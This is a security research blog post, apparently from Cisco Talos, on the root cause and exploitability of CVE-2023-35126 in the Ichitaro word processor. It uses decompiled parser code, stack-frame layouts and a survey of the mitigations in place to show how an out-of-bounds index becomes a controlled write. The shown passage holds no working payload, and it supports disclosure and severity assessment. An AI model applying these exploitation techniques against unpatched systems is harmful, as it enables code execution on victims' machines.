- Cisco Talos disclosed several vulnerabilities in JustSystems’ Ichitaro Word Processor last year. These vulnerabilities were not discovered through fuzzing.
- CVE-2023-35126 and its peers (CVE-2023-34366, CVE-2023-38127, and CVE-2023-38128) were each awarded a CVSSv3 score of 3.3.
- By coincidence, prior to the score, a proper weaponized exploit was written using only the capabilities provided by CVE-2023-35126 despite its low CVSSv3 score.
- The exploit converts an out-of-bounds index into a frame pointer overwrite. After silently executing the payload, the process is repaired, allowing the application to finish loading the rest of the document.
- Its payload is distinctly separated from the vulnerability and can be decoded from an arbitrary document stream specified at build time.

The Ichitaro word processing component software from JustSystems, Inc. is part of the company’s larger suite of office products, similar to Microsoft Office 365. While fairly unknown in the rest of the world, it has a large market share in Japan. Regionally popular, but often overlooked, these types of applications have been targets of malicious exploitation campaigns previously. Vulnerability research conducted by Cisco Talos over the past year has uncovered multiple high-severity vulnerabilities in Ichitaro that could allow an adversary to carry out a variety of malicious actions, including arbitrary code execution. JustSystems has patched all the vulnerabilities mentioned in this blog post, all in adherence to Cisco’s third-party vendor vulnerability disclosure policy.
Straightforward fuzzing is mostly ineffective against these types of applications. Complex functionality supported by a complex file format required extensive reverse engineering that yielded a deeper understanding of the inner workings of Ichitaro, which was necessary for effective bug hunting, be it through fuzzing or manual code auditing. These insights help us better assess the severity of vulnerabilities uncovered in the future.
The uncovered vulnerabilities were generally complex and difficult to reach and trigger. For now, we’ll focus on one vulnerability, in particular, TALOS-2023-1825 (CVE-2023-35126). For demonstration purposes, we are using Ichitaro 2023 version 1.0.1.59372. JustSystems patched this vulnerability in security update 2023.10.19
. Our emphasis is on the methods employed while performing root cause and exploitability analysis.
Developing memory corruption exploits beyond simple proof of concepts is occasionally time-consuming, and hence is not taken lightly. With the advent of more advanced exploit mitigations, it becomes difficult to assess if a singular vulnerability is exploitable and what its severity is. What helps is exploit equivalence classes. An exploit for a use-after-free vulnerability in a certain context demonstrates that all similar use-after-free vulnerabilities are exploitable. While exploit equivalence classes are established for the most common types of targets (browsers or OS kernels, for example), we have no precedent to fall back on when working with previously unknown types of software.
This is especially important when judging the severity of the vulnerabilities. Our assessment of this vulnerability using CVSS 3.1 scoring was 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), while JP CERT assigned it 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L), as they didn’t deem arbitrary code execution possible. This severely underestimates the severity and poses an unnecessary risk to users who might ignore the security updates. By demonstrating and establishing the exploitability of this vulnerability, we aim to rectify the situation and clarify exploitability estimates for the vulnerabilities we uncover in the future.
When exploiting a vulnerability in a common target, well-known techniques can be employed, such as relying on the well-known “addrof/fakeobj” abstraction when exploiting JavaScript engines. However, not all targets allow for the same general techniques. In some cases, interactivity is not possible, or the location of the vulnerability does not allow the adversary to influence enough of the target to allow for exploitability.
We dissected one of the vulnerabilities discovered within Ichitaro that was classified with seemingly limited severity. Leveraging this vulnerability along with side effects of the code that it belongs to allowed us to construct more powerful exploitation primitives which ultimately resulted in full arbitrary code execution. This not only increases our confidence in the assessment of these families of vulnerabilities but documents and demonstrates the building blocks, tools and methodologies necessary to conduct this research.
Format
The main document type supported by the Ichitaro word processor uses the .jtd file extension and is stored as a Microsoft Compound Document. A compound document file contains a hierarchical structure composed of multiple content streams, along with naming information for each, which gives it the near appearance of a filesystem. The primary API is also exposed by Microsoft via COM which, when used to open a document, returns an object that implements the IStorage interface. As a result, the format has been used throughout the years by several Microsoft components, including Microsoft's Office suite, and is extensively documented by Microsoft in [MS-CFB]: Compound File Binary File Format.
Implementers of software utilizing Microsoft's Compound Document format will leverage its file system-like capabilities to store different streams relating to the contents of the document. Thus, when an application is asked to load a document, the application will read a list of directory entries out of the document to extract the stream names. These stream names can then be used to access the contents of the individual streams, which can then be used to load the necessary parts to restore the document.
From this logic of referencing a stream by its name, a pattern can be identified by the reverse engineer and identify where a specific stream is being parsed by a binary. This pattern, combined with the standard API, can enable a reverse engineer to identify the relevant parts of an application that interact with a document.
Utilizing these patterns, TALOS-2023-1825 was discovered and then reported as CVE-2023-35126. When first examining an empty document file, several streams along with their names can be found in the structure storage document's directory. Cross-referencing some of these stream names with the modules loaded in the address space of the binary leads us to a single binary that references the stream name.
Using the default stream names found within a document produced by the application, each of the binaries belonging to the application can be searched to determine which libraries reference the corresponding stream name. The following command demonstrates a search of that kind.
Once the correct binaries have been identified, the strings can simply be cross-referenced to identify a list of candidates that might be used to interact with the corresponding stream. In the following screenshot, each of the stream names is located near to each other. After the list of candidate functions has been identified, that list can then be used to set breakpoints with a debugger and then used to enumerate the functions that are relevant to parsing the document.
Discovery
The discovery of the bug in question starts with identifying the location of the stream names, enumerating instruction references to them, and then finding the common caller that is shared by each reference. This was done in the following screenshot using the IDA Python script which takes the list of selected addresses, fetches each of their executable references, groups each of them into separate sets and then finds the common intersection of all the sets. This results in a single function address being responsible for the selected stream names.
After reviewing the function associated with the discovered address, 0x3BE25803
, it appears to reference all of the stream names that were listed out of the empty document and are used as some form of initialization. Upon running the application with a breakpoint set to this address, our debugger will confirm that this code is executed upon opening the document. Examining the backtrace during the same debugging session then gives us a straightforward path to identify how the application parses streams from the document.
The function at 0x3BE25803
then has a single caller at 0x3C1FAF0F
that can be navigated to in our disassembler. From this caller, each function that is called by it can be used to identify other places where stream names from the document are referenced. This is a common pattern that can be used to map each stream name to a function that is either responsible for parsing said stream or initializing the scope of variables that are later used when parsing the stream.
int __thiscall object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(
object_9c2044 *this,
JSVDA::object_OFRM *ap_oframe_0,
int av_documentType_4,
int av_flags_8,
int av_whichStream_c,
_DWORD *ap_result_10)
{
lp_this_64 = this;
p_result_10.ap_unkobject_10 = (int)ap_result_10;
lp_oframe_6c = ap_oframe_0;
constructor_3a9de4(&lv_struc_38);
lv_result_4 = 0;
sub_3BE29547(lv_feh_60, 0xFFFF, 0);
...
lv_struc_38.v_documentType_8 = av_documentType_4;
lv_struc_38.v_initialParsingFlags_c = av_flags_8;
lv_struc_38.p_owner_24 = lp_this_64;
lv_struc_38.v_initialField(1)_10 = 1;
lv_position_7c = 4;
if ( av_whichStream_c == 1 || av_whichStream_c == 3 || av_whichStream_c == 4 ) // Determine which stream name to use
{
v9 = "DocumentViewStyles";
}
else
{
...
v9 = "DocumentEditStyles";
}
v10 = object_OFRM::openStreamByName?_132de4(lp_oframe_6c, v9, 16, &lp_oseg_68); // Open up a stream by a name.
if ( v10 != 0x80030002 )
{
...
*(_QWORD *)&lp_oframe_70 = 0i64;
if ( object_OSEG::setCurrentStreamPosition_1329ce(lp_oseg_68, 0, 0, 0, 0) >= 0 // Read a two 16-bit integers for the header
&& object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_74)
&& object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_78) )
{
if ( (unsigned __int16)lv_ushort_74 <= 1u )
{
lv_struc_38.vw_version_20 = lv_ushort_74;
lv_struc_38.vw_used_22 = lv_ushort_78;
...
v12 = 0;
for ( i = 4; ; lv_position_7c = i ) // Loop to process contents of stream
{
v25 = v12;
v14 = struc_3a9de4::parseStylesContent_3a7048(&lv_struc_38, lp_oseg_68, i, v12, av_whichStream_c, p_result_10, 0);
v_result_8 = v14;
if ( v14 == 0xFFFFFFE8 )
break;
if ( v14 != 1 )
goto return(@edi)_3a78dd;
i = lv_struc_38.v_header_long_4 + 6 + lv_position_7c;
v12 = ((unsigned int)lv_struc_38.v_header_long_4 + 6i64 + __PAIR64__(v25, lv_position_7c)) >> 32;
}
v_result_8 = 1;
}
...
return v_result_7;
}
The listing shows the beginning of the function at 0x3C1FAF0F
with the name object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be
. This function references the DocumentViewStyles
stream. Specifically, both the DocumentViewStyles
and DocumentEditStyles
strings are referenced next to each other separated by only a conditional. Hence, both streams likely use the same implementation to parse their contents and a parameter is used to distinguish between them. At the bottom of the same function is a loop that is likely used to process the variable-length contents of the streams. If we examine the function being called for each iteration of this loop, we will encounter the following function, which is of reasonable complexity and appears to process some number of record types using a 16-bit integer as their key. The shape of this function is shown in the following screenshot.
The following list is a decompilation of the function from the previous screenshot that parses record types out of the stream. Exploring the different cases implemented by this method shows that it is responsible for parsing around 10 different record types. Most of the functions used to parse each individual record types are prefaced with a function that ensures that the necessary fields are constructed and initialized before processing its corresponding record. This implies that the conditional allocations involved with these fields can only be used once per instance of the document, and will need to already have been called to avoid the unpredictability of the data that is left on the stack during the exploitation process.
int __thiscall struc_3a9de4::parseStylesContent_3a7048(
struc_3a9de4 *this,
JSVDA::object_OSEG *ap_oseg_0,
int av_position(lo)_4,
int av_position(hi)_8,
int av_currentStreamState?_c,
frame_3a7048_arg_10 ap_unkobjectunion_10,
frame_3a7048_arg_14 ap_nullunion_14)
{
lv_result_4 = 0;
p_oseg_0 = ap_oseg_0;
...
v_documentType_8 = this->v_documentType_8;
v_boxHeaderResult_0 = struc_3a9de4::readBoxHeader?_3a6fae(this, ap_oseg_0);
if ( v_boxHeaderResult_0 != 31 )
{
...
vw_header_word_0 = (unsigned __int16)this->vw_header_word_0; // Check first 16-bit word from stream
p_owner_24 = this->p_owner_24;
lp_owner_8 = p_owner_24;
if ( vw_header_word_0 > 0x2003 )
{
v_wordsub(2004)_0 = vw_header_word_0 - 0x2004;
if ( v_wordsub(2004)_0 )
{
v_word(2005)_0 = v_wordsub(2004)_0 - 1;
if ( !v_word(2005)_0 )
{
if ( av_currentStreamState?_c != 5 ) { // Check for record type 0x2005
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
p_styleObject_3a712c = struc_3a9de4::readStyleType(2005)_3a6bec(this, p_oseg_0, this->v_header_long_4, Av_parsingFlagField_8 == 3);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(1)_endrecord_3a70f9;
}
v_wordsub(2006)_0 = v_word(2005)_0 - 1;
if ( v_wordsub(2006)_0 )
{
v_word(2007)_0 = v_wordsub(2006)_0 - 1;
if ( v_word(2007)_0 )
{
v_word(2008)_0 = v_word(2007)_0 - 1;
if ( !v_word(2008)_0 )
{
...
if ( p_object_60 )
{
LABEL_93:
p_styleObject_3a712c = object_9d0d30::readStyleType(2008)_391906( // Process record type 0x2008
p_object_60,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
ap_unkobjectunion_10.ap_unkobject_10,
&lv_result_4);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(@esi)_endrecord_3a7625;
}
if ( v_word(2008)_0 == 8 )
{
...
p_styleObject_3a712c = object_9d0d30::readStyleType(2010)_392cab( // Process record type 0x2010
field(64)_6bf3a6,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
ap_unkobjectunion_10.ap_unkobject_10,
(int)&lv_result_4);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(@esi)_endrecord_3a7625;
}
goto check_pushStream_3a73fe;
}
...
}
...
}
...
return p_result_3a705e;
}
if ( vw_header_word_0 == 0x2003 )
{
if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 0x204) & 0x40) != 0) && av_currentStreamState?_c != 5 )
{
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
p_field(38)_55 = object_10cbd2::get_field(38)_7b15a6(lp_owner_8->v_data_290.p_object_48, 0);
p_styleObject_3a712c = object_9bd120::readStyleType(2003)_1d63a3( // Process record type 0x2003
p_field(38)_55,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
ap_unkobjectunion_10.ap_unkobject_10);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(1)_endrecord_3a70f9;
}
v_wordsub(1000)_0 = vw_header_word_0 - 0x1000;
if ( v_wordsub(1000)_0 )
{
v_wordsub(1001)_0 = v_wordsub(1000)_0 - 1;
if ( !v_wordsub(1001)_0 ) // Process record type 0x1001
{
...
p_styleObject_3a712c = object_9e5ffc::readStyleType(1001)_1b8cd2(p_object_190c, p_oseg_0, this->v_header_long_4, 0);
goto returning(@eax)_endrecord_3a736f;
}
v_word(1001)_15 = v_wordsub(1001)_0 - 1;
if ( !v_word(1001)_15 ) // Process record type 0x1002
{
if ( av_currentStreamState?_c != 3 && av_currentStreamState?_c != 4
&& (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_DWORD *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x100) != 0) )
{
...
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
if ( ap_nullunion_14.object_e7480 )
{
p_styleObject_3a712c = object_e7480::readStyleType(1002)_77a7bf(
ap_nullunion_14.object_e7480,
p_oseg_0,
this->v_header_long_4,
v_documentType_8,
Av_parsingFlagField_8,
0);
goto returning(@eax)_endrecord_3a736f;
}
}
goto returning(1)_endrecord_3a70f9;
}
v_wordsub(1fff)_15 = v_word(1001)_15 - 0xFFE;
if ( v_wordsub(1fff)_15 )
{
v_word(2000)_15 = v_wordsub(1fff)_15 - 1;
if ( !v_word(2000)_15 ) // Process record type 0x2001
{
if ( av_currentStreamState?_c == 5 )
{
p_field(34)_18 = object_10cbd2::get_field(34)_7b9e07(p_owner_24->v_data_290.p_object_48, 0);
p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1d24a9(
p_field(34)_18,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
ap_unkobjectunion_10.ap_unkobject_10);
goto returning(@eax)_endrecord_3a736f;
}
if ( Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x10) != 0 )
{
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
...
p_field(34)_1f->v_data_4.field_5a8 = 1;
p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1b8f99(
p_field(34)_1f,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
lp_unkobject_20,
&lv_result_4);
goto returning(@eax)_endrecord_3a736f;
}
returning(1)_endrecord_3a70f9:
lv_result_4 = 1;
goto returning(@esi)_skipRecord_3a762b;
}
if ( v_word(2000)_15 == 1 ) // Process record type 0x2002
{
if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x20) != 0)
&& av_currentStreamState?_c != 5 )
{
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
field(3c)_109b2a = object_10cbd2::get_field(3c)_109b2a(lp_owner_8->v_data_290.p_object_48, 0);
p_styleObject_3a712c = object_9bd184::readStyleType(2002)_1cdcf6(
field(3c)_109b2a,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
ap_unkobjectunion_10.ap_unkobject_10);
p_result_3a705e = p_styleObject_3a712c;
goto returning(@esi)_endrecord_3a7625;
}
goto returning(1)_endrecord_3a70f9;
}
...
}
...
}
...
if ( av_currentStreamState?_c == 3 ) // Process record type 0x1000
{
object_9e5ffc = (object_9e5ffc *)p_object_c->v_data_4.p_object_190c;
if ( object_9e5ffc )
{
p_styleObject_3a712c = object_9e5ffc::readStyleType(1000)_1b6bf7(object_9e5ffc, p_oseg_0, this->v_header_long_4, this);
goto returning(@eax)_endrecord_3a736f;
}
}
else
{
if ( av_currentStreamState?_c == 4 )
{
p_styleObject_3a712c = object_9c2044::readStyleType(1000)_4d951d(
p_owner_24,
p_oseg_0,
this->v_header_long_4,
(frame_3a7048_arg_10)ap_unkobjectunion_10.ap_unkobject_10);
goto returning(@eax)_endrecord_3a736f;
}
...
}
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
object_9e5ffc = ap_nullunion_14.object_9e5ffc;
goto readStyleType(1000)_3a7365;
}
return 0xFFFFFFE8;
}
The first set of conditions that are listed in the decompilation leads to the parser for record type 0x2005
. The second case, as per the decompilation, is used to parse record type 0x2008
. It is this record type that contains the entirety of the vulnerability leveraged by this document.
The next listing shows the parser for record type 0x2008
. In it, we can immediately spot a static-sized array due to the loop that initializes it. After a closer look at the references to this array, the function uses an index to access elements of the array without checking their boundaries. Immediately after fetching an item from the array, the item is then written to. Thus, this out-of-bounds index is made significantly more useful due to it being used for writing into a constant-sized array.
int __thiscall object_9d0d30::readStyleType(2008)_391906(
object_9d0d30 *this,
JSVDA::object_OSEG *ap_oseg_0,
int av_size_4,
int av_someFlag_8,
int av_documentType_c,
int ap_nullobject_10,
int *ap_unusedResult_14)
{
...
v34 = 0;
p_object_14 = this->v_data_20.p_object_14;
...
v9 = JSFC::malloc_181e(sizeof(object_9d14a0));
...
if ( v9 )
v10 = object_9d14a0::constructor_38cb12(v9, this->v_data_20.p_object(9c2044)_c, this);
...
this->v_data_20.p_object_14 = v10;
object_9d14a0::addSixObjects_38cb7d(v10);
for ( i = 0; i < 6; ++i ) // Loop for an array with a static length
lv_objects(6)_6c = object_9d14a0::getPropertyForItemAtIndex_37a71d(this->v_data_20.p_object_14, i);
...
while ( lvw_case_84 != 0xFFFF ) // Keep reading records until 0xFFFF
{
switch ( lvw_case_84 )
{
case 0u: // Case 0-4,6,8,9 are similar.
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
LOWORD(lv_size_74) = lv_size_74 - 2;
if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )
goto LABEL_47;
lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(0)_14 = v25;
goto LABEL_51;
...
case 5u: // Case 5
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
LOWORD(lv_size_74) = lv_size_74 - 2;
...
wstringtoggle_7fb182::initialize_7fb182(&v15, lv_wstring(28)_54);
LOBYTE(v34) = 0;
object_9d15a0::moveinto_field(20,2c)_6c0780(lv_objects(6)_6c[lvw_index_70], v15);
goto LABEL_51;
...
case 7u: // Case 7
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
lv_size_74 += 0xFFFC;
if ( !arena_reader::read_int_6b5bc1(&lv_triple_80, &v17) )
goto LABEL_47;
lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(7)_38 = v17;
goto LABEL_51;
...
default:
if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )
goto LABEL_47;
break;
}
while ( lv_size_74 )
{
if ( !arena_reader::read_byte_405b6c(&lv_triple_80, &lvb_85) )
goto LABEL_47;
lv_size_74 += 0xFFFF;
}
...
}
...
}
The index is used to refer to the correct element in an array of pointers to an object. This object, object_9d15a0
, is 0x68
bytes in size and is primarily composed of integer fields that are used to store data read from the current stream. Thus, the vulnerability enables us to write data to one of the object’s fields depending on which case was read during parsing. Examining each of the cases individually, there are three ways in which the implementation may be written to object_9d15a0
.
The first class involves dereferencing a pointer from the indexed object and then writing a 16-bit integer zero-extended to 32 bits to the target of the pointer.
The second class also involves dereferencing a pointer but allows us to write a 32-bit integer to the pointer's target.
The third class is slightly more complex, but it appears to write a reference to a short object of some kind that contains an integer that can be set to 1
or 2
, and a pointer that can be freed depending on the value of that integer. Of these three classes, the 32-bit integer write seems to be the most useful unless we plan to write a length where the high 16-bits are always cleared.
After the pointer for any of these classes has been dereferenced, the integer that is decoded from the stream is written to a field within the dereferenced object. Examining each individually shows us exactly which field of the object will be written to. It appears that depending on the case that we choose, our decoded integer will end up being written within the range +0x34
to +0x60
of the object. As only the 32-bit integer and possibly the short object cases appear to be of use, we will take note of the field they write to, and use that field to locate something useful to overwrite. Specifically, we take note that the short object type is using case 0x5
and will result in writing to offset +0x4c
, whereas the 32-bit integer type for case 0x7
will end up writing to offset +0x58
.
Python> struc.by('object_9d15a0').members
[0] 0+0x4 int 'p_vftable_0' (, 4) // [vftable] 0x3c4515a0
[1] 4+0x1c JSFC::CCmdTarget::data 'v_data_4'
[2] 20+0x48 object_9d15a0::data 'v_data_20'
Python> struc.by('object_9d15a0').members[2].type.members
[0] 20+0x4 int 'p_vftable_0' (, 4)
[1] 24+0x4 int 'p_vftable_4' (, 4)
[2] 28+0x2 __int16 'field_8' (, 2)
[3] 2a+0x2 __int16 'field_A' (, 2)
[4] 2c+0x4 int 'field_C' (, 4)
[5] 30+0x4 object_9d0d30* 'p_owner_10' (, 4)
[6] 34+0x4 int 'v_typeField(0)_14' (, 4) // [styleType2008] 0x0
[7] 38+0x4 int 'v_typeField(1)_18' (, 4) // [styleType2008] 0x1
[8] 3c+0x4 int 'v_typeField(2)_1c' (, 4) // [styleType2008] 0x2
[9] 40+0x4 int 'v_typeField(3)_20' (, 4) // [styleType2008] 0x3
[10] 44+0x4 int 'v_typeField(9)_24' (, 4) // [styleType2008] 9
[11] 48+0x4 int 'v_typeField(4)_28' (, 4) // [styleType2008] 0x4
[12] 4c+0x8 wstringtoggle_7fb182 'v_typeFieldString(5)_2c' // [styleType2008] 5
[13] 54+0x4 int 'v_typeField(6)_34' (, 4) // [styleType2008] 0x6
[14] 58+0x4 int 'v_typeField(7)_38' (, 4) // {'styleType2008': 7, 'note': 'writes 4b integer'}
[15] 5c+0x4 int 'v_typeField(8)_3c' (, 4) // [styleType2008] 0x8
[16] 60+0x4 int 'field_40' (, 4)
[17] 64+0x4 JSFC::SomeString 'v_string_44'
Referencing the listing, each of the fields that are being written to are named as v_typeField(case)_offset
. When parsing the 0x2008
record type, the integer decoded out of the stream will be written to either one of these fields. It is worth noting that the field v_typeField(7)_38
for case 7
will allow us to write a full 32-bit integer, the field v_typeFieldString(5)_2c
for case 5
will allow us to write a pointer to a 16-bit character string, and the other fields will allow us to write a 32-bit integer zero-extended from a 16-bit integer. The only thing left to do is to write a proof-of-concept demonstrating the out-of-bounds index being used to dereference a pointer, and then write to our desired field.
Mitigations
After identifying the vulnerability, we can immediately check the mitigations that have been applied to the target to get a better idea of what might be a hindrance to the exploitation of our write candidates. By examining the modules in the address space, we can see that DEP (W^X) is enabled, but ASLR is not for some of the listed modules. This greatly simplifies things, since our vulnerability allows us to overwrite practically anything within these listed modules. Because of this, we won't need to do much else other than write to a known address to hijack execution.
In the following screenshot, we also notice that the target uses frame pointers and stack canaries to protect them from being overwritten. This won't directly affect the exploitation of this vulnerability but could affect any code we might end up re-purposing once we earn the ability to execute code.
Leveraging the vulnerability
Now that we've identified anything that might add to the complexity of our goals, we can revisit the vulnerability and expand on it. The first thing we'll need to do is to control the pointer that will be dereferenced. Our pointer will be located on the stack, so we'll need to get data that is parsed from the stream by the application to be located on the stack so that we can use our out-of-bounds index to dereference it.
Examining the scope of the vulnerability shows that it has a call stack depth of three, from when the document starts to parse the streams from the document at object_9c2044::method_processStreams_77af0f
. This depth represents the part of the application where we control input and contains the logic by which we can influence the application with our document. Any data that is read from the file will only be available from one of the methods within this scope.
int __thiscall object_9c2044::method_processStreams_77af0f(
object_9c2044 *this,
JSVDA::object_OFRM *ap_oframe_0,
unsigned int av_documentType_4,
unsigned int av_flags_8,
struc_79aa9a *ap_stackobject_c,
int ap_null_10)
{
...
lp_oframe_230 = ap_oframe_0;
lp_stackObject_234 = ap_stackobject_c;
...
if ( !lv_struc_24c.lv_flags_10 )
{
LABEL_42:
lv_struc_24c.field_14 = av_flags_8 & 0x800;
v10 = object_9c2044::parseStream(DocumentViewStyles)_3a790a(this, ap_oframe_0, av_documentType_4, av_flags_8); // "DocumentViewStyles"
if ( v10 == 1 )
{
v10 = object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(this, lp_oframe_230, av_documentType_4, av_flags_8); // "DocumentEditStyles"
if ( v10 == 1 )
{
v10 = object_10cbd2::processSomeStreams_778971(
this->v_data_290.p_object_48,
lp_oframe_230,
av_documentType_4,
av_flags_8);
if ( v10 == 1 )
{
...
v10 = object_9c2044::decode_substream(Toolbox)_3a6a7b(this, lp_oframe_230); // "Toolbox"
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(DocumentMacro)_3a680a(this, lp_oframe_230, av_documentType_4); // "DocumentMacro"
if ( v10 == 1 )
{
v10 = sub_3BE25803(this, lp_oframe_230, av_flags_8);
if ( v10 == 1 )
{
v10 = JSVDA::object_OFRM::decode_stream(Vision_Sidenote)_77310e(this, lp_oframe_230); // "Vision_Sidenote"
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(MergeDataName)_3a55d3(this, lp_oframe_230); // "MergeDataName"
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(HtmlAdditionalData)_3a5445(this, lp_oframe_230, av_documentType_4, lp_stackObject_234, 0);
...
}
}
}
}
}
}
}
}
...
}
return v10;
}
/** Functions used to parse both the "DocumentViewStyles" and "DocumentEditStyles" streams. **/
int __thiscall object_9c2044::parseStream(DocumentViewStyles)_3a790a(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc);
this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc = 0;
return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 1, 0);
}
int __thiscall object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8);
this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8 = 0;
return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 2, 0);
}
From a cursory glance at the object_9c2044::method_processStreams_77af0f
method in the listing, it seems that the stream of interest is one of the first two streams that are being parsed by the application. This implies that there is not much logic that is executed between the document being opened and our vulnerability being reached. To influence the state of the application before our vulnerability, we are limited only to the logic related to parsing the streams containing the document styles. If we end up hijacking execution at any time within the vulnerability's scope, we'll need some way of maintaining control afterward to modify the permissions of whatever page we plan on loading.
Exploring some of the other stream parsers seems to show that virtual methods are called upon by some objects to read from the stream. These exist in a writable part of some of the available modules, so we can likely overwrite them globally if we determine it necessary. However, this would also result in the "breaking" of that functionality for the entire application since the virtual method would not be usable anymore.
Since our write is happening at the beginning of the application parsing the document, anything we overwrite would have to be used by the one or two streams that read data from the file. Performing a rudimentary query on the parsers for the record types belonging to both the DocumentViewStyles
and DocumentEditStyles
streams show that nothing is being read dynamically into the heap or any other means, and so we'll have to use our vulnerability to write the entire payload and anything else we might need.
Python> func.frame(0x3BE11906).members
-cc+0x10 [None, 16]
[0] -bc+0x4 int 'var_B4' (, 4)
[1] -b8+0x4 int 'var_B0' (, 4)
[2] -b4+0x2 __int16 'var_AC' (, 2)
-b2+0x2 [None, 2]
[3] -b0+0x2 __int16 'var_A8' (, 2)
-ae+0x2 [None, 2]
[4] -ac+0x2 __int16 'var_A4' (, 2)
-aa+0x2 [None, 2]
[5] -a8+0x2 __int16 'var_A0' (, 2)
-a6+0x2 [None, 2]
[6] -a4+0x2 __int16 'var_9C' (, 2)
-a2+0x2 [None, 2]
[7] -a0+0x2 __int16 'var_98' (, 2)
-9e+0x2 [None, 2]
[8] -9c+0x2 __int16 'var_94' (, 2)
-9a+0x2 [None, 2]
[9] -98+0x2 __int16 'var_90' (, 2)
-96+0x2 [None, 2]
[10] -94+0x2 __int16 'lv_field_8c' (, 2)
[11] -92+0x2 __int16 'var_8A' (, 2)
[12] -90+0x2 __int16 'var_88' (, 2)
-8e+0x1 [None, 1]
[13] -8d+0x1 char 'lvb_85' (, 1)
[14] -8c+0x2 __int16 'lvw_case_84' (, 2)
-8a+0x2 [None, 2]
[15] -88+0xc arena_reader 'lv_triple_80'
[16] -7c+0x4 int 'lv_size_74' (, 4)
[17] -78+0x2 __int16 'lvw_index_70' (, 2)
[18] -76+0x2 __int16 'var_6E' (, 2)
[19] -74+0x18 object_9d15a0*[6] 'lv_objects(6)_6c' [(, 4), 6]
[20] -5c+0x50 wchar_t[40] 'lv_wstring(28)_54' [(, 2), 40]
[21] -c+0x4 int 'var_4' (, 4)
[22] -8+0x4 char[4] ' s' [(, 1), 4]
[23] -4+0x4 char[4] ' r' [(, 1), 4]
[24] 0+0x4 JSVDA::object_OSEG* 'ap_oseg_0' (, 4)
[25] 4+0x4 int 'av_size_4' (, 4)
[26] 8+0x4 int 'av_someFlag_8' (, 4)
[27] c+0x4 int 'av_documentType_c' (, 4)
[28] 10+0x4 int 'ap_nullobject_10' (, 4)
[29] 14+0x4 int* 'ap_unusedResult_14' (, 4)
This listing shows the layout of the entire frame belonging to the object_9d0d30::readStyleType(2008)_391906
method which contains our vulnerability. In this layout, the lv_objects(6)_6c
field contains the six-element array of pointers that our index is used with. This means that we'll be dereferencing a pointer relative to this array. Right after this array is a buffer before the canary protecting the caller's frame pointer and address. If we cross-reference this field, we can see that it is referenced during the processing of case 5
.
In case 5
, the implementation will read two 16-bit fields, containing the index and size. This size is checked against the 0x66
constant before it is used to read an array of 16-bit integers into the referenced buffer of 0x50
bytes in size. After being checked against 0x66
, the size is aligned to a multiple of 2 and then verified that it is less than 0x42
. If the length verification fails this time, the __report_rangecheckfailure
function will immediately terminate execution.
